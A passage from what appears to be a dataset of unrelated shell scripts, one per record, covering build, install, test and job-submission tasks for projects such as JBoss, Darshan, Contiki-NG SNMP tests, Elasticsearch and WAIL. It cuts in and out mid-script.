\"$end\" ]; do\n sleep 5\n done\n\n timeout 30 $JBOSS_HOME/bin/jboss-cli.sh --connect --command=\"/core-service=patching:ageout-history\"\n timeout 30 $JBOSS_HOME/bin/jboss-cli.sh --connect --command=\"shutdown\"\n\n # give it a moment to settle\n for i in $(seq 1 10); do\n test -e \"$JBOSS_PIDFILE\" || break\n sleep 1\n done\n\n # EAP still running? something is not right\n if test -e \"$JBOSS_PIDFILE\"; then\n echo \"EAP instance still running; aborting\" >&2\n exit 1\n fi\n\n rm -rf /tmp/standalone\n\n if [ -n \"$sys_pkgs\" ]; then\n export JBOSS_MODULES_SYSTEM_PKGS=\"${sys_pkgs}\"\n fi\n}\n\naggregate_patched_modules\nremove_scrapped_jars\nupdate_permissions"} {"text": "#!/bin/bash\n\n# General notes\n#######################\n\n# Script to set up the environment for tests on this platform. Must export\n# the following environment variables:\n# \n# DARSHAN_CC: command to compile C programs\n# DARSHAN_CXX: command to compile C++ programs\n# DARSHAN_F90: command to compile Fortran90 programs\n# DARSHAN_F77: command to compile Fortran77 programs\n# DARSHAN_RUNJOB: command to execute a job and wait for its completion\n\n# This script may load optional modules (as in a Cray PE), set LD_PRELOAD\n# variables (as in a dynamically linked environment), or generate mpicc\n# wrappers (as in a statically linked environment).\n\n# Notes specific to this platform (bg-profile-conf-alcf)\n########################\n# This particular env script assumes that mpicc and its variants for other \n# languages are already in the path, and that they will produce static \n# executables by default. Darshan instrumentation is added by specifying\n# a profiling configuration file using environment variables.\n\n# the RUNJOB command is the most complex part here. We use a script that submits\n# a cobalt job, waits for its completion, and checks its return status\n\nexport DARSHAN_CC=mpicc\nexport DARSHAN_CXX=mpicxx\nexport DARSHAN_F77=mpif77\nexport DARSHAN_F90=mpif90\n\nexport MPICC_PROFILE=$DARSHAN_PATH/share/mpi-profile/darshan-bg-cc\nexport MPICXX_PROFILE=$DARSHAN_PATH/share/mpi-profile/darshan-bg-cxx\nexport MPIF90_PROFILE=$DARSHAN_PATH/share/mpi-profile/darshan-bg-f\nexport MPIF77_PROFILE=$DARSHAN_PATH/share/mpi-profile/darshan-bg-f\n\nexport DARSHAN_RUNJOB=\"bg-profile-conf-alcf/runjob.sh\""} {"text": "ROM=$1\nGPU=$2\n\ngame=./atari/game model=actor_critic model_file=./atari/model python3 train.py --rom_file $ROM --batchsize 4 --freq_update 1 --num_games 16 --tqdm --gpu $GPU --trainer_stats rewards --additional_labels id,last_terminal --keys_in_reply V,rv"} {"text": "#!/usr/bin/env bash\n\naws cloudformation update-stack \\\n --stack-name udacity-devops-net \\\n --template-body file://02-networks.yml \\\n --parameters file://params-cluster.json \\\n --region us-west-2"} {"text": "sbellem/oasis-sdkclient-sdk/ts-web/rt/playground/sample-run-envoy.sh\n#!/bin/sh -eux\nenvoy -c sample-envoy.yaml"} {"text": "src/ucvm/run_ucvm_query.sh\n#!/bin/bash\n\n## this is to run the ucvm_query with proper LD_LIBRARY_PATH and\n## DYLD_LIBRARY_PATH that mac os seems to like to eliminate under\n## SIP mode\n\n# Process options\nFLAGS=\"\"\n\n# Pass along any arguments to UCVM\nwhile getopts 'm:p:c:f:z:bl:' OPTION\ndo\n if [ \"$OPTARG\" != \"\" ]; then\n FLAGS=\"${FLAGS} -$OPTION $OPTARG\"\n else\n FLAGS=\"${FLAGS} -$OPTION\"\n fi\ndone\nshift $(($OPTIND - 1))\n\nSCRIPT_DIR=\"$( cd \"$( dirname \"$0\" )\" && pwd )\"\n\nexport LD_LIBRARY_PATH=${SCRIPT_DIR}/../lib/euclid3/lib:${SCRIPT_DIR}/../lib/proj-5/lib\nexport DYLD_LIBRARY_PATH=${SCRIPT_DIR}/../lib/euclid3/lib:${SCRIPT_DIR}/../lib/proj-5/lib\n\n${SCRIPT_DIR}/ucvm_query ${FLAGS} \nif [ $? -ne 0 ]; then\n exit 1\nfi\n\nexit 0"} {"text": "experiments/run_machine_learning_decision_tree_aspects.sh\n# Training\npython ./SemOpinionS.py -m machine_learning \\\n -t ../Corpora/Training-AMR/all/training \\\n -tt ../Corpora/Training-AMR/all/target \\\n -a ../Corpora/AMR-PT-OP/SPAN-MANUAL/combined_manual_training_target_jamr.txt \\\n -af jamr \\\n -s ../Ferramentas/oplexicon_v3.0/lexico_v3.0.txt \\\n --tfidf ../Corpora/Reviews/b2w-reviews01_ReLi \\\n -asp ../Corpora/OpiSums-PT/Aspectos/aspects/all.json \\\n -o out\n\n# Run Summarization\npython ./SemOpinionS.py -m machine_learning \\\n -c ../Corpora/OpiSums-PT/Textos_AMR/O-Apanhador-no-Campo-de-Centeio/O-Apanhador-no-Campo-de-Centeio.parsed \\\n -g ../Corpora/OpiSums-PT/Sumarios/O-Apanhador-no-Campo-de-Centeio/Extrativos \\\n -mo out/model.joblib \\\n -a ../Corpora/AMR-PT-OP/SPAN-MANUAL/combined_manual_training_target_jamr.txt \\\n -af jamr \\\n -s ../Ferramentas/oplexicon_v3.0/lexico_v3.0.txt \\\n --tfidf ../Corpora/Reviews/b2w-reviews01_ReLi \\\n -oie ../Corpora/OpenIEOut/O-Apanhador-no-Campo-de-Centeio/merged_documents_new.csv \\\n -asp ../Corpora/OpiSums-PT/Aspectos/aspects/ReLi-Salinger.json \\\n -o out/O-Apanhador-no-Campo-de-Centeio\n\npython ./SemOpinionS.py -m machine_learning \\\n -c ../Corpora/OpiSums-PT/Textos_AMR/Iphone-5/Iphone-5.parsed \\\n -g ../Corpora/OpiSums-PT/Sumarios/Iphone-5/Extrativos \\\n -mo out/model.joblib \\\n -a ../Corpora/AMR-PT-OP/SPAN-MANUAL/combined_manual_training_target_jamr.txt \\\n -af jamr \\\n -s ../Ferramentas/oplexicon_v3.0/lexico_v3.0.txt \\\n --tfidf ../Corpora/Reviews/b2w-reviews01_ReLi \\\n -oie ../Corpora/OpenIEOut/Iphone-5/merged_documents_new.csv \\\n -asp ../Corpora/OpiSums-PT/Aspectos/aspects/Iphone-5.json \\\n -o out/Iphone-5\n\npython ./SemOpinionS.py -m machine_learning \\\n -c ../Corpora/OpiSums-PT/Textos_AMR/O-Outro-Lado-da-Meia-Noite/O-Outro-Lado-da-Meia-Noite.parsed \\\n -g ../Corpora/OpiSums-PT/Sumarios/O-Outro-Lado-da-Meia-Noite/Extrativos \\\n -mo out/model.joblib \\\n -a ../Corpora/AMR-PT-OP/SPAN-PARSER/combined_parser_training_target_jamr.txt \\\n -af jamr \\\n -s ../Ferramentas/oplexicon_v3.0/lexico_v3.0.txt \\\n --tfidf ../Corpora/Reviews/b2w-reviews01_ReLi \\\n -oie ../Corpora/OpenIEOut/O-Outro-Lado-da-Meia-Noite/merged_documents_new.csv \\\n -asp ../Corpora/OpiSums-PT/Aspectos/aspects/ReLi-Sheldon-num.json \\\n -o out/O-Outro-Lado-da-Meia-Noite\n\npython ./SemOpinionS.py -m machine_learning \\\n -c ../Corpora/OpiSums-PT/Textos_AMR/Galaxy-SIII/Galaxy-SIII.parsed \\\n -g ../Corpora/OpiSums-PT/Sumarios/Galaxy-SIII/Extrativos \\\n -mo out/model.joblib \\\n -a ../Corpora/AMR-PT-OP/SPAN-PARSER/combined_parser_training_target_jamr.txt \\\n -af jamr \\\n -s ../Ferramentas/oplexicon_v3.0/lexico_v3.0.txt \\\n --tfidf ../Corpora/Reviews/b2w-reviews01_ReLi \\\n -oie ../Corpora/OpenIEOut/Galaxy-SIII/merged_documents_new.csv \\\n -asp ../Corpora/OpiSums-PT/Aspectos/aspects/Galaxy-SIII-num.json \\\n -o out/Galaxy-SIII"} {"text": "vkorn/examplestools/exchangePublishScript.sh\n#!/bin/sh\n\n# if the org id is set locally we don't want to override the IBM org of these samples\nunset HZN_ORG_ID\n\nfunction scriptUsage () {\n cat << EOF\n\nUsage: ./exchangePublishScript.sh [-c ]\n\nParameters:\n optional:\n -c set this flag to publish example deployment policy for the helloworld \n and cpu2evtstreams samples\n\nRequired Environment Variables:\n EXCHANGE_ROOT_PASS\n HZN_EXCHANGE_URL\n HZN_EXCHANGE_USER_AUTH\n\nEOF\n exit 1\n}\n\n# parse any arguments\nwhile (( \"$#\" )); do\n case \"$1\" in\n -h) # display script usage\n scriptUsage\n shift\n ;;\n -c) # cluster name to publish deployment policy\n ORG=$2\n shift 2\n ;;\n esac\ndone\n\n# check if required environment variables are set\n: ${HZN_EXCHANGE_URL:?} ${HZN_EXCHANGE_USER_AUTH:?}\n\n# path to the cloned exmaples repo\nPATH_TO_EXAMPLES=/tmp/open-horizon\n\n# check the previous cmds exit code. \ncheckexitcode () { \n if [[ $1 == 0 ]]; then return; fi\n echo \"\"\n echo \"Error: exit code $1 when $2\"\n echo \"\"\n error=1\n}\n\n# publish deployment policy for helloworld and cpu2evtstreams if -c flag is used\nfunction deployPolPublish () {\n if ([[ $line == *\"cpu2evtstreams\" ]] || [[ $line == *\"helloworld\" ]]); then \n HZN_ORG_ID=$ORG make publish-business-policy\n checkexitcode $? \"publishing deployment policy to the \"$ORG\" in the exchange\"\n fi\n}\n\n# git branch/repository to clone\nbranch=\"-b master\"\nrepository=\"https://github.com/open-horizon/examples.git\"\n\n# text file containing servies and patterns to publish\ninput=\"$PATH_TO_EXAMPLES/examples/tools/blessedSamples.txt\"\n\ntopDir=$(pwd)\nerror=0\n\ngit clone $branch $repository $PATH_TO_EXAMPLES/examples\n\n# read in blessedSamples.txt which contains the services and patterns to publish\nwhile IFS= read -r line\ndo\n # each $line contains the path to any service or pattern that needs to be published\n cd $PATH_TO_EXAMPLES/$line\n checkexitcode $? \"finding service directory \"$line\"\"\n \n echo `pwd`\n make publish-only\n checkexitcode $? \"publishing \"$line\" to the exchange\"\n\n # check if an org was specified to publish sample deployment policy \n if ! [ -z $ORG ]; then\n deployPolPublish\n fi\n\n cd $topDir\n\ndone < \"$input\"\n\n\n# clean up if no errors\nif [ $error != 0 ]; then\n echo -e \"\\n*** Errors were encountered when publishing, the cloned $PATH_TO_EXAMPLES/examples directory was not deleted *** \\n\"\nelse\n echo -e \"\\nSuccessfully published all content to the exchange. Removing $PATH_TO_EXAMPLES/examples directory...\\n\"\n rm -f -r $PATH_TO_EXAMPLES\nfi"} {"text": "#!/bin/bash\n\n# Copyright (c) 2015 naymspace software ()\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nif [ -f platforms/android/libs/jmdns.jar ]\n\tthen\n\trm platforms/android/libs/jmdns.jar\nfi\ncd platforms/android/CordovaLib\nmkdir libs\ncd libs\nif [ -f jmdns.jar ]\n\tthen\n\trm jmdns.jar\nfi\nwget -N http://downloads.sourceforge.net/project/jmdns/jmdns/JmDNS%203.4.1/jmdns-3.4.1.tgz\ntar xvfz jmdns-3.4.1.tgz lib/jmdns.jar\nmkdir unjar\ncd unjar\njar xf ../lib/jmdns.jar\njar cfm jmdns.jar META-INF/MANIFEST.MF javax/*\ncd ../\nmv unjar/jmdns.jar ../../libs\nrm -r lib\nrm -r unjar\nrm jmdns-3.4.1.tgz"} {"text": "#!/bin/bash\nif [ \"x$1\" = \"x\" ] || [ ! -d \"$1\" ] ; then\n echo \"Usage: $0 /path/to/log/dir\"\n exit 2\nelse\n TARGETNAME=\"$1.`date +%Y%m%d`\"\n SUFFIX=\"\"\n if [ -d $TARGETNAME ] ; then\n SUFFIX=\"1\"\n while [ -d \"$TARGETNAME.$SUFFIX\" ] ; do\n SUFFIX=$(($SUFFIX+1))\n done\n TARGETNAME=\"$TARGETNAME.$SUFFIX\"\n fi\n mv \"$1\" \"$TARGETNAME\"\nfi"} {"text": "core/github-package-retriever-by-assets.sh0\n#!/bin/bash\nset -Eeuo pipefail\n\nreadonly owner=$1\nreadonly repository=$2\nreadonly package_name_regex=$3\nreadonly url_json_field_name=$4\nreadonly package_name=$5\n\nurl=$(curl -X GET https://api.github.com/repos/$owner/$repository/releases/latest \\\n | jq -r --arg name_regex \"$package_name_regex\" --arg url_field_name \"$url_json_field_name\" '.assets | .[] | select(.name | test($name_regex)) | .[$url_field_name]')\nwget -O $package_name $url"} {"text": "scripts/prepare_dataset.sh\n#!/bin/bash\n\nexport PYTHONPATH=\"./\"\necho $PYTHONPATH\n\nDATASET=wikitext-103\npython data_processing/data_loader_with_POS.py \\\n --dataset $DATASET \\\n --vocab-size 250000;\n\n# DATASET=paraNMT\n# python data_processing/data_loader_with_POS.py \\\n# --dataset $DATASET \\\n# --vocab-size 100000;"} {"text": "echo \"version $1\"\nmkdir -p \"dist\"\n# apps\nfor app in 'gateway' 'message' 'subscribe' 'web' 'middle' 'spider' 'cron' 'workflow' 'task' 'user' 'todo' 'finance' 'nlp'\n\tdo\n\t echo \"\\n downloading... $app\\n\"\n\t\tcurl -L https://github.com/tsundata/assistant/releases/download/v$1/$app-linux-amd64 --output ./dist/$app-linux-amd64\n\t\tchmod +x ./dist/$app-linux-amd64\n done\n# agents\nfor agent in 'server' 'redis'\n\tdo\n\t echo \"\\n downloading... $agent\\n\"\n\t\tcurl -L https://github.com/tsundata/assistant/releases/download/v$1/$agent-agent-linux-amd64 --output ./dist/$agent-agent-linux-amd64\n\t\tchmod +x ./dist/$agent-agent-linux-amd64\n\tdone"} {"text": "1-10\n#!/bin/bash\ndocker container exec -i php_login_db mongo -uroot -ptoor --authenticationDatabase admin php_login --eval \"\ndb.users.createIndex({ email: 1 }, { unique: 1 });\ndb.createUser({ user: 'php', pwd: '', roles: [ { role: 'readWrite', db: 'php_login' } ] });\n\""} {"text": "curl/03_get_prediction_server.sh\n#!/bin/bash\n\n# 03 - Get the prediction server ID\n# Corresponding article: https://community.datarobot.com/t5/guided-ai-learning/get-the-prediction-server-id/ta-p/2778\n\nENDPOINT=$YOUR_DR_URL/api/v2/predictionServers/\n\ncurl -v \\\n-H \"Authorization: Bearer $API_KEY\" \\\n$ENDPOINT"} {"text": "( python my_fakelims.py ts3_traveler.py ) >&fakelims.out"} {"text": "#!/bin/zsh\ngit add .\ngit commit -m 'update'\ngit push"} {"text": "nauskis/log-analysis\n#!/bin/bash\n\n#Do the update thing\nsetxkbmap fi\nsudo -i\necho \"5\"\necho \"4\"\necho \"3\"\necho \"2\"\necho \"1\"\nsudo apt-get update\nsudo apt-get upgrade -y\n\n#Do the Java thing\nsudo add-apt-repository -y ppa:webupd8team/java\nsudo apt-get update\nsudo apt-get install -y oracle-java8-installer\nsudo apt-get install -y default-jre\nsudo apt-get install -y openjdk-8-jdk\n\n#ElasticBungaloo\nwget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -\nsudo apt-get install apt-transport-https\necho \"deb https://artifacts.elastic.co/packages/6.x/apt stable main\" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list\nsudo apt-get update\nsudo apt-get install elasticsearch\n\n#Kibanananana\nwget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -\necho \"deb https://artifacts.elastic.co/packages/6.x/apt stable main\" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list\nsudo apt-get update\nsudo apt-get install -y kibana\nsudo /bin/systemctl daemon-reload\nsudo /bin/systemctl enable kibana.service\nsudo systemctl start kibana.service\n\n#Logstash for those that need it\n#wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -\n#echo \"deb https://artifacts.elastic.co/packages/6.x/apt stable main\" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list\n#sudo apt-get update\n#sudo apt-get install -y logstash\n\necho \"If you want to install Logstash, remove commentation from the script\""} {"text": "lameInstall()\n{\n\tif [ ! -d $libmp3lame ]; then\n\t\tcurl -L -O http://downloads.sourceforge.net/project/lame/lame/3.99/lame-3.99.5.tar.gz\n\t\ttar xzvf lame-3.99.5.tar.gz\n\t\tcd $libmp3lame\n\t\t./configure --prefix=\"$BUILD_DIR\" --bindir=\"$BUILD_DIR/bin\" --disable-shared --enable-nasm\n\t\tmake\n\t\tmake install\n\t\techo\n\tfi\n}"} {"text": "ismaelamezcua-ucol/contiki-ng\n#!/bin/bash\nsource ../utils.sh\n\n# Contiki directory\nCONTIKI=$1\n# Test basename\nBASENAME=$(basename $0 .sh)\n\nIPADDR=fd00::302:304:506:708\n\ntest_handler () {\n # Starting Contiki-NG native node\n make -C $CONTIKI/examples/snmp-server > make.log 2> make.err\n sudo $CONTIKI/examples/snmp-server/snmp-server.native > node.log 2> node.err &\n CPID=$!\n sleep 2\n\n $1 2>&1 | grep -z -E \"$2\" >> $BASENAME.log 2>&1 \n STATUS=$?\n \n sleep 2\n kill_bg $CPID > /dev/null 2>&1\n wait $CPID > /dev/null 2>&1\n\n if [ $STATUS -eq 0 ] ; then\n cp $BASENAME.log $BASENAME.testlog\n printf \"%-32s TEST OK\\n\" \"$BASENAME\" | tee $BASENAME.testlog;\n else\n echo \"==== make.log ====\" ; cat make.log;\n echo \"==== make.err ====\" ; cat make.err;\n echo \"==== node.log ====\" ; cat node.log;\n echo \"==== node.err ====\" ; cat node.err;\n echo \"==== $BASENAME.log ====\" ; cat $BASENAME.log;\n \n printf \"%-32s TEST FAIL\\n\" \"$BASENAME\" | tee $BASENAME.testlog;\n fi\n\n rm make.log\n rm make.err\n rm node.log\n rm node.err\n}\n\n# v1\n## snmpget - pass\ntest_handler \"snmpget -t2 -v1 -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.0\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0\"\n## snmpwalk - pass\ntest_handler \"snmpwalk -t2 -v1 -c public udp6:[$IPADDR]:161 1\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.2\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.3\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.4\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.5\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.6\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.7\\.0.*End of MIB\"\n\n## snmpget - fail - noSuchName\ntest_handler \"snmpget -t2 -v1 -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1\" \".*noSuchName.*\"\n## snmpget - fail - timeout - 16 Ids in OID\ntest_handler \"snmpget -t2 -v1 -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.1.3.6.1.2.1.1.1.1\" \"Timeout.*\"\n## snmpget - fail - timeout - 4 OIDs\ntest_handler \"snmpget -t2 -v1 -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.1.0\" \"Timeout.*\"\n\n# v2\n## snmpget - pass\ntest_handler \"snmpget -t2 -v2c -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.0\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0\"\n## snmpwalk - pass\ntest_handler \"snmpwalk -t2 -v2c -c public udp6:[$IPADDR]:161 1\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.2\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.3\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.4\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.5\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.6\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.7\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.7\\.0\"\n## snmpbulkget two non-repeater - pass\ntest_handler \"snmpbulkget -v2c -Cn2 -c public udp6:[$IPADDR]:161 1 1\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0\"\n## snmpbulkget two max-repetitions - pass\ntest_handler \"snmpbulkget -t2 -v2c -Cr2 -c public udp6:[$IPADDR]:161 1\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.2\\.0\"\n## snmpbulkget one non-repeater and two max-repetitions - pass\ntest_handler \"snmpbulkget -t2 -v2c -Cn1 -Cr2 -c public udp6:[$IPADDR]:161 1 1\" \"iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.1\\.0.*iso\\.3\\.6\\.1\\.2\\.1\\.1\\.2\\.0\"\n\n## snmpget - fail - noSuchName\ntest_handler \"snmpget -t2 -v2c -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1\" \".*No Such Instance currently.*\"\n## snmpget - fail - timeout - 16 Ids in OID\ntest_handler \"snmpget -t2 -v2c -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.1.3.6.1.2.1.1.1.1\" \"Timeout.*\"\n## snmpget - fail - timeout - 4 OIDs\ntest_handler \"snmpget -t2 -v2c -c public udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.1.0 1.3.6.1.2.1.1.1.0\" \"Timeout.*\"\n\n#v3\n## snmpget - fail - timeout - v3 not implemented\ntest_handler \"snmpget -t2 -v3 -l authPriv -u snmp-poller -a SHA -A \\\"PASSWORD1\\\" -x AES -X \\\"PASSWORD1\\\" udp6:[$IPADDR]:161 1.3.6.1.2.1.1.1.0\" \".*Timeout.*\"\n\n# We do not want Make to stop -> Return 0\n# The Makefile will check if a log contains FAIL at the end\nexit 0"} {"text": "#!/bin/bash\n#SBATCH --job-name=rep-learning\n#SBATCH --account=asignal\n#SBATCH --partition=gpu\n#SBATCH --time=70:00:00\n#SBATCH --ntasks=1\n#SBATCH --cpus-per-task=1\n#SBATCH --mem-per-cpu=12000\n#SBATCH --gres=gpu:v100:1\n\n#SBATCH -o /scratch/asignal/favoryxa/out/%J.%u.out # STDOUT\n#SBATCH -e /scratch/asignal/favoryxa/out/%J.%u.err # STDERR\n\nprintf \"[----]\\n\"\nprintf \"Starting execution of job $SLURM_JOB_ID from user $LOGNAME\\n\"\nprintf \"Starting at `date`\\n\"\nstart=`date +%s`\n\n# module load gcc/8.3.0\n# module load pgi/19.7\n# module load cuda/10.1.168\nmodule load python-env/2019.3\nmodule load pytorch/1.3.0\n\nsource venv/bin/activate\npip install tensorboard\n\nsrun python train_dual_ae.py 'configs/dual_e_c.json'\n\nend=`date +%s`\nprintf \"\\n[----]\\n\"\nprintf \"Job done. Ending at `date`\\n\"\nruntime=$((end-start))\nprintf \"It took: $runtime sec.\\n\""} {"text": "#!/usr/bin/env bash\n#\n# https://gist.github.com/dennishafemann/8371080\n\nPACKAGE_DIR=$1\nDEB_OUTPUT_DIR=$2\nARCH=$3\n\nNAME_PACKAGE=\"Package\"\nNAME_VERSION=\"Version\"\nDEBIAN_CONTROL_FILE=\"control\"\n\n# Get package size\npackageSize=$(du -s \"${PACKAGE_DIR}/\" | cut -f 1)\n\n# Get build name\npackageName=$(grep \"${NAME_PACKAGE}\" < \"${PACKAGE_DIR}/${DEBIAN_CONTROL_FILE}\" | cut -d \" \" -f 2)\n\n# Get build number\npackageBuildNr=$(grep \"${NAME_VERSION}\" < \"${PACKAGE_DIR}/${DEBIAN_CONTROL_FILE}\" | cut -d \" \" -f 2)\n\n# Change package size\necho \"* Change package size in control-file (if Installed-Size is available) ...\"\nsed -i \"s/\\(Installed-Size:\\).*/\\\\1 ${packageSize}/g\" \"${PACKAGE_DIR}/${DEBIAN_CONTROL_FILE}\"\necho\n\n# Build packages\necho \"* Build package ...\"\ndpkg -b \"./${PACKAGE_DIR}\" \"${DEB_OUTPUT_DIR}/${packageName}_${packageBuildNr}_${ARCH}.deb\"\necho\n\n# Build md5sum of deb-file\necho \"* Build md5sum-file ...\"\nmd5sum \"${DEB_OUTPUT_DIR}/${packageName}_${packageBuildNr}_${ARCH}.deb\" > \"${DEB_OUTPUT_DIR}/${packageName}_${packageBuildNr}_${ARCH}.deb.md5sum\"\necho\n\necho \"Finished.\"\necho"} {"text": "#!/bin/bash -eu\n#\n# Example of event driven Bash programming.\n# <>\n# Thu Sep 10 20:24:35 EDT 2020\n\n# Halt on error, no globbing, no unbound variables\nset -efu\n\n# Launch inotifywait monitoring the syslog in a subprocess.\n# Redirect stdout of subshell to pipe #3\nexec 3< <(exec inotifywait -m /var/log/syslog)\n\n# Read each line of output from inotifywait\nwhile read -u 3 FILE OPS; do\n\n # stdin, stdout, stderr all available in loop\n\n echo \"FILE= '$FILE', OPS= '$OPS'\"\n\n # OPS are comma separated. Swap comma for space, deal with each individually.\n for op in ${OPS//,/ }; do\n\n # Branch on $op\n case $op in\n\n MODIFY)\n echo \"$FILE was modified.\";;\n\n ACCESS)\n echo \"$FILE was accessed.\";;\n\n CLOSE_NOWRITE)\n echo \"$FILE was closed without changes.\"\n break 2;;\n\n# Other actions go here\n esac\n done\ndone\n\n# Close pipe\nexec 3<&-\n\n# Only get here on loop exit, or if inotifywait quits.\nexit 0"} {"text": "build.sh\nconda activate h2o\n./gradlew build -x test -x javadoc -x buildPackageDocumentation"} {"text": "#!/bin/bash\ndconf load /org/pantheon/terminal/settings/ <docker/init_mysql2.sh0\n#!/bin/sh\n\nmysql -u root << EOT\nCREATE DATABASE IF NOT EXISTS test2;\nCREATE TABLE IF NOT EXISTS test2.test (\n id int NOT NULL AUTO_INCREMENT,\n time DATETIME DEFAULT CURRENT_TIMESTAMP,\n PRIMARY KEY(id)\n);\nEOT\n\n# insert some data\nfor i in {1..10} ; do mysql -u root -e \"INSERT INTO test2.test values ()\" && sleep 1 ; done"} {"text": "#!/bin/bash\n\n# This is the Makefile for WAIL for macOS\n# http://matkelly.com/wail/\n\nDIRECTORY=\"/Applications/WAIL.app/\"\n\ntrap exit INT\n\nmain ()\n{\n # Provide a means to skip all questions for GitHub Actions\n while getopts \":q\" opt; do\n case ${opt} in\n q )\n echo \"Skipping options to build for testing\" >&2\n makeWAIL\n exit 0\n ;;\n \\? )\n echo \"Invalid option: -$OPTARG\" >&2\n exit 1\n ;;\n esac\n done\n\n\n # Check if WAIL processes are running and offer to kill them\n wailProcessesRunning=$(ps -A | grep '[/]WAIL.app/' | wc -l)\n if (($wailProcessesRunning > 0)); then\n while true; do\n read -p \"Kill currently running WAIL processes (y/n)? \" yn\n case $yn in\n [Yy]* )\n pkill -f '[/]WAIL.app/'\n break;;\n [Nn]* )\n break;;\n * ) echo \"Please answer y or n.\";;\n esac\n done\n fi\n\n # Check if WAIL.app exists. Ask the user whether to nuke old binary. Exit if 'no'\n if [ -d \"$DIRECTORY\" ]; then\n echo $DIRECTORY\" already exists!\"\n while true; do\n read -p \"Do you want me to delete the old app and continue (y/n)? \" yn\n case $yn in\n [Yy]* ) echo \"Continuing to build, retaining WARCs\"; break;;\n [Nn]* ) exit;;\n * ) echo \"Please answer y or n.\";;\n esac\n done\n fi\n\n if [[ $1 == \"ci\" ]]; then\n ans=\"i\"\n else\n read -p \"Would you like to install binary (i), create dmg (d), or both (b)? (i/d/b) \" ans\n fi\n\n\n case \"$ans\" in\n i|d|b)\n ;;\n *)\n echo \"Invalid choice, choose one of i/d/b\"\n exit\n ;;\n esac\n\n makeWAIL\n}\n\n# For Apple Silicon support, see #494\nbuildPyinstallerBootloaders ()\n{\n echo \"Building bootloader for Apple Silicon\"\n git clone https://github.com/pyinstaller/pyinstaller.git\n cd pyinstaller/bootloader\n python3 ./waf all\n cd ..\n python3 -m pip install .\n cd ..\n}\n\ninstallRequirements ()\n{\n echo \"Installing build requirements\"\n python3 -m pip install --upgrade wxPython\n python3 -m pip install -r requirements.txt\n if [[ $(uname -p) == 'arm' ]]; then\n buildPyinstallerBootloaders\n fi\n}\n\ncreateBinary ()\n{\n echo \"Creating binary\"\n which pyinstaller\n pyinstaller -p bundledApps ./bundledApps/WAIL.py --onefile --windowed --clean --icon=\"./build/icons/wail_blue.icns\"\n # Replace default version and icon information from pyinstaller \n cp ./build/Info.plist ./dist/WAIL.app/Contents/Info.plist\n # Copy the bundledApps and support directories to inside WAIL.app/\n cp -r ./bundledApps ./support ./build ./config ./archives ./archiveIndexes ./dist/WAIL.app/\n #pkgbuild --install-location=/Applications --component ./dist/WAIL.app ~/Downloads/WAIL.pkg\n}\n\ndeleteBinary ()\n{\n echo \"Deleting binary\"\n rm -rf /Applications/WAIL.app\n}\n\nmvWARCsToTemp ()\n{\n if [ -d \"/tmp/tempArchives\" ]\n then\n echo \"Moving WARCs to /tmp/tempArchives/\"\n mv /tmp/tempArchives /tmp/tempArchives_old\n mv /Applications/WAIL.app/archives /tmp/tempArchives\n fi\n}\n\nmvWARCsBackFromTemp ()\n{\n if [ -d \"/tmp/tempArchives\" ]\n then\n echo \"Moving WARCs back to /Applications/WAIL.app/archives/\"\n mv /tmp/tempArchives/* /Applications/WAIL.app/archives/\n rm -rf /tmp/tempArchives\n mv /tmp/tempArchives_old /tmp/tempArchives\n fi\n}\n\nmvProducts ()\n{\n echo \"Moving WAIL.app to /Applications\"\n mv ./dist/WAIL.app /Applications/\n mv ./dist/WAIL /Applications/WAIL_cli\n}\n\ncleanupByproducts ()\n{\n echo \"Cleaning up byproducts, deleting ./dist and ./build/WAIL\"\n # Remove installation remnants\n rm -r ./dist\n rm -r ./build/WAIL\n}\n\noptimizeforMac 